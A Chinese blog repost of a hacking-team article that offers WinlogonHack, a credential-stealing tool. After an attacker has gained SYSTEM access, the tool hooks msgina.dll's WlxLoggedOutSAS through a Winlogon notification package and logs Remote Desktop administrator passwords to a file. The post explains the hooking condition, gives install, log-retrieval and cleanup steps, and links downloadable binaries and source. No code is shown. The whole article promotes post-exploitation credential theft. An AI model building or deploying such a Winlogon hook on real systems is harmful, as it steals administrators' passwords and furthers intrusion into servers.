Winlogon劫持记录3389密码小工具(开源代码)

程序&源码 CN-P5 1567℃ 0评论

文章作者:lovemfc
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

在得到system权限下,通常希望得到3389管理员密码,来进一步得到更多的信息,方便进一步的渗透。
gina木马比较不错,但是貌似win 2000少导出一个函数,用在win 2000下可能崩溃。
于是写了一个小工具,通过挂钩 msgina.dll WlxLoggedOutSAS 函数,记录登录帐户密码!
启动就用winlogon 通知包,当有3389,连上服务器时。新创建的 winlogon.exe 会在登录前加载,注册了 "Startup" 的dll,Hook 了函数,登录成功后,记录密码到 boot.dat 文件,并取消Hook。退出3389后,dll 文件即可删除。
详细代码及工具,见附件。
截图
javascript:if(this.width>500)this.width=500;">
理论上只要msgina.dll WlxLoggedOutSAS 前五个字节 为

mov edi,edi
push ebp
mov ebp,esp

就可以通过!
测试过 xp , 2003 。没有测试过 2000 。希望哪位朋友测试下,希望能做到服务器通杀!
有bug的Q我,343789385

WinlogonHack
一。执行install.bat 安装。
不用重启, 当有3389登上时,自动加载DLL,并且记录登录密码! 保存为boot.dat文件.
二。运行ReadLog.bat 移动密码文件到当前目录。查看吧~
三。执行Uninstall.bat,若 %systemroot%system32wminotify.dll 文件未能删除,那就重启再删了吧,润物细无声~~~

工具:  WinlogonHack.rar (17 K)
代码:  source.rar (11 K)

转载请注明:黑白的自留地 » Winlogon劫持记录3389密码小工具(开源代码)

喜欢 (0)
发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址